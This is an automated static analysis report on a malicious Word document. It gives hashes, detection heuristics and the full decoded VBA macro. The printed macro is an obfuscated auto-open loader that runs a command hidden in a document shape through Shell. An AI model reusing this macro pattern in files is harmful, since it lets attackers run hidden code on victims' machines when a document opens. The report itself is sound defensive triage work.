Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e545ca389468aa27…

MALICIOUS

Office (OLE)

132.6 KB Created: 2018-12-10 18:00:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: d9f21e0997760c8f92d7927001f45072 SHA-1: 7cd7b27f7ab9f52bebc5fc1670b7504bba693ab0 SHA-256: e545ca389468aa274a4dcfdc5e1ecb48898db38dd54200c65d69b4b94067adfa
252 Risk Score

Heuristics 9

  • ClamAV: Doc.Malware.Dldk-6779511-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dldk-6779511-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    . _
Shell(UujRdVwoiR, wuKhm), DYQrjHNUC)
    ioUDwANJjMRICiaVwtiKAR = hzANhDjmKLPnIXqNGrkmzOd / Tan(146920656) * 210550703 / Tan(209470853) + vJhGpRznDznfFCaGzmu - Cos(115822250) + (332443210 / Int(fYTQirTWihBblcc))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub autoopen()
OOVvnuOr
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5153 bytes
SHA-256: 7a198dd1458578176a442c50155e7b5df6897c2dbcf2da3597b6a95cdd92631a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
143 of 172 identifiers look randomly generated (e.g. 'tojWBrkQDmKtOORFfuHVqQZn') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jGidTUdwkC"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
OOVvnuOr
End Sub

Attribute VB_Name = "lHmQYJRr"
Function OOVvnuOr()
On Error Resume Next
    RAUzWzZRlDhwaP = MMdjOaRmKsQTnLuuaL / Tan(310459650) * 102639347 / Tan(186974597) + DraKJpGUiFMMGuzKT - Cos(190305839) + (252585 / Int(KHGdlFqIHmfzvzImI))
Set QcfpKKHaEAuPsS = OFwkwYEzzNvZMRJlM
OMXiVzvWLApOru = khsMCLjMchcOluJv
    urciDvLiGUpwkCiWTa = zfijjHkvFQFGzU / Tan(38791028) * 75973388 / Tan(57746273) + GjYLoszDoJGTYWWsQq - Cos(82621852) + (46689513 / Int(WTzGNBOsdirZANqdmrpmfSa))
Set mrjkEDPwBdjQYEarjLKfPt = JfOiwWVMEsLTVSinaOs
XdaFhRwCUHvYsUZEqZR = jQfYNlEZFYkQXVAfFJw
    kjazwzbsIFLQQZB = mvjIrmaWKDACPDFhKJzi / Tan(57410279) * 337606669 / Tan(5337562) + vXOMTPUMjvMLtXQzIEmtzZ - Cos(191358832) + (34614825 / Int(iFHcSUnutNTYNC))
Set ioVTquontzaEMHoWuIMpKNj = bZQzKwZuBsLLDJOF
SOcsPbnErZPBMkUEHrRiod = afCTvdSktGzszHVLzdvSWKtp
    rQiwKwkCrkEjiJLzEOqc = lUlJdbiKGUAwYQ / Tan(320627423) * 228851941 / Tan(260312091) + LivPdUjqUfZShQT - Cos(172680088) + (37797859 / Int(tojWBrkQDmKtOORFfuHVqQZn))
Set DknnkczKApwcojD = NQwfbQKBbkZSjFcPtQwH
dSKMiOZScrNDqdzcHfmalLAC = auMjjXiwhkzmStCljztL
Set GwRzbCpRB = jGidTUdwkC.Shapes(NHrbYo + "YkNcqWp" + vNsVwmj).TextFrame
    PooqdhcPZPrbolvjL = hRDoYpUizuzOrMPh / Tan(78402454) * 177761826 / Tan(216813775) + jDBKkPAJmOzDtqoHMb - Cos(110823016) + (332611565 / Int(vkiSKYfMGZUCsfdQsE))
Set pLwivuVAXHUkKiz = TTsZqUwfpiABLLrTXHJKz
mXpXIEmpKUutJw = iSUOQtQuUoMQAM
UujRdVwoiR = GwRzbCpRB.ContainingRange + zTfGSBuT + owiHWdVi + mSjVkSM + lcIvHHrQ + zIWXtwON + KKrOj + WjTMk + HWLkz + OZPHM + EJvKQD + dpwpj + mfPrS
    fGdTPOrOsvDCZBYiwkjMaEz = TSqcvcLOiSVECUGLNczklOBR / Tan(119250883) * 233676311 / Tan(335930246) + KwQaGdzzXPTPkpTHjU - Cos(206803058) + (186219813 / Int(YzzEONEQZKMdpDjBuzZU))
Set nzJkAwvtkwEWrmzT = sPvjwFHluljGlWGHUk
oUORJXoMIHwRki = FJZdosCwFLLnwbzOXBw
    fjFpsiUsnYTIpm = DOToqlvWQJjCzOnUEb / Tan(56878822) * 82726276 / Tan(302701408) + vLtHSzvKqOinowwz - Cos(124473635) + (106975102 / Int(KofJcUiAEPjjZbtSHujSv))
Set GTVTMZqXHIscjVPCRmo = qvKhILuioCjzojiMnIIEJhIX
zsYCFdwiwkKInLAfMjEZun = mDOIdjpJnmtLTV
    KYsMjOJUDfEYVpAwQK = FvqNWvNoXrUjzrBrvibZfhTi / Tan(91995373) * 318156400 / Tan(74190245) + YobpoLfZTLVRTZ - Cos(250811979) + (190418079 / Int(wHhTzFOokTXcHzajJQiQf))
Set lMbYkMKGGvqARpikajMADsH = LLuhKIDMCBVVrZVBiiMclHhl
YqzDfrtEiMYScww = izPTJtBOKVYffMEdIblSEIX
    jcsDUYlXAhGzbPNwXMS = pYzcKzjOPoitzEaI / Tan(56211469) * 189840502 / Tan(114071080) + JiNRHMuviOLbho - Cos(254384679) + (68840837 / Int(PsXoXIMzMAXoFouvQELL))
Set VzDokAcGLJRQftktNmVAS = MXHYaRjRjbwuuuUAmIksBrF
ZvKBCSqKPalfhLZLatZ = RlwpZMzNQZtURiwfGiORkni
    UztzHpMwfLPniqjh = IporVokYTCYGILmwLQh / Tan(265683840) * 153270607 / Tan(152841311) + zWqhcjjSTHCiWOU - Cos(337026252) + (71520359 / Int(YonnpXAdoSZBtEli))
Set UfGIpmjFwFcPjrRWiwiSKhT = wuNtROwzoXzUDBjBDhrRX
FaIfOFCQjnLZJuYpo = HibLszTdPjOdpBJkpnlmz
    EaaNCZWoNwPTkrJqWvJjaCWX = QSATPSwbJhicWM / Tan(65746795) * 215219468 / Tan(204929730) + qZRpMrtLvHNVCECNl - Cos(47691331) + (144911759 / Int(zjQrbKiOAizDvjfwia))
Set IZEWrNniaZJaCKJ = JJZOCNfLNHKaTYEiLB
vtJYdnfDoqHwslOV = ILDvusJkDNLCVfPBzNbAkw
    HtontaUNoUXcJIdhRpqwtwCj = NKWCLTsFJwjSrmLZLqXkKtu / Tan(332234375) * 192400945 / Tan(113358391) + NcFJrFsfPzLcAfWzKtOZDfWh - Cos(54897091) + (202762412 / Int(kUPYZuYfcEosNwHvbAOWEntk))
Set OrshGXAMGILzZl = cAtuVBAbwjuhuHuwafTKD
zWhojHpvvCOjuEuwODNQ = wLpGELMkTGbiwCWNhVtlAnsT
    AGJODfLazvVBDIY = MOWQRjKIQRfwdwPn / Tan(10680775) * 88026062 / Tan(5694442) + BdsPMMVJqiddiNrK - Cos(103679627) + (49968174 / Int(TvBwmANzDjizpHLIjWHEEK))
Set RhnBTPFEYuYjRz = FPwPSdIjnWSEInICjJtj
wwthwbJFRauJDQrGp = YIwAfBKwQPrpXXPNHQFiTBw
Const wuKhm = 0
    SrEPusACONpvnswR = UjOIIQvThwUEvzcnwGfFEjqc / Tan(82089093) * 201766679 / Tan(213374959) + wHOEXvpOwCJbJwN - Cos(319563352) + (214725141 / Int(SOMIqmTMulsmvijmUZiQhzKO))
Set twEwIVuvOLSwqQblKBEWMH = rWbnOQQSDwTzpOQlPwqh
RpiIGfWwGrclQNZji = fztOwXTlWuPpXVaNZhzi
uUzGqLYB = Array(EjSLjYCrG, UIcjQUHL, nrjDY, Interaction _
. _
Shell(UujRdVwoiR, wuKhm), DYQrjHNUC)
    ioUDwANJjMRICiaVwtiKAR = hzANhDjmKLPnIXqNGrkmzOd / Tan(146920656) * 210550703 / Tan(209470853) + vJhGpRznDznfFCaGzmu - Cos(115822250) + (332443210 / Int(fYTQirTWihBblcc))
Set aWLkmQTMfkYIjj = OdpdJnZmFUhTFddRwdsMY
OTPEGkuTLquwnww = TQBjFPFwOiBSZinXNHOVOFjo
    kFwHrGDoiKsJokrQHfosMX = lfGwwcPIzvMBtbaPhW / Tan(237472344) * 199560146 / Tan(32367317) + LajJcGGdsbMjNcl - Cos(68154377) + (32389288 / Int(PCtObiwohPGWctRj))
Set fQozIBVDkpJOziWRXP = LwwzLnZrWVzSRh
GuQMGAXLqtoZjkk = EiOUXjScLiKzhlW
    HvOIEQscnAZKvuQws = zhrzulfNfULsLKYTTozaIbai / Tan(178756433) * 158395111 / Tan(206069705) + ZCIYSNbZYHAddqkYRvoPl - Cos(189907856) + (182493627 / Int(wSpWGNYWFzndMmZzjzu))
Set oWzRqCMfjQzzajcA = FSLiiXfCHMiVrfliPna
YfEAsnpzqCfKZZijic = wROiqiKskLOKsBfz
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.